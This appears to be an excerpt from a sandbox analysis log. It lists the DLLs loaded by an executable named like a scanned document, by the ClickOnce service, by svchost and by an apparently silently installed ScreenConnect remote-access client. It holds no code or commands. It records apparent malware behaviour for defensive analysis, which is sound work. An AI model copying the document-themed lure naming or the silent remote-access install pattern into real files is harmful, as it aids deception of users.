Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dfshim.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptnet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: uiautomationcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wersvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: windowsperformancerecordercontrol.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: weretw.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wer.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: faultrep.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dbgcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wer.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wlidsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: clipc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msxml6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gamestreamingext.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msauserext.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: tbs.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptnet.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptngc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: devobj.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptprov.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: elscore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: elstrans.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: licensemanagersvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: licensemanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: clipc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: dfshim.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: cryptsp.dll
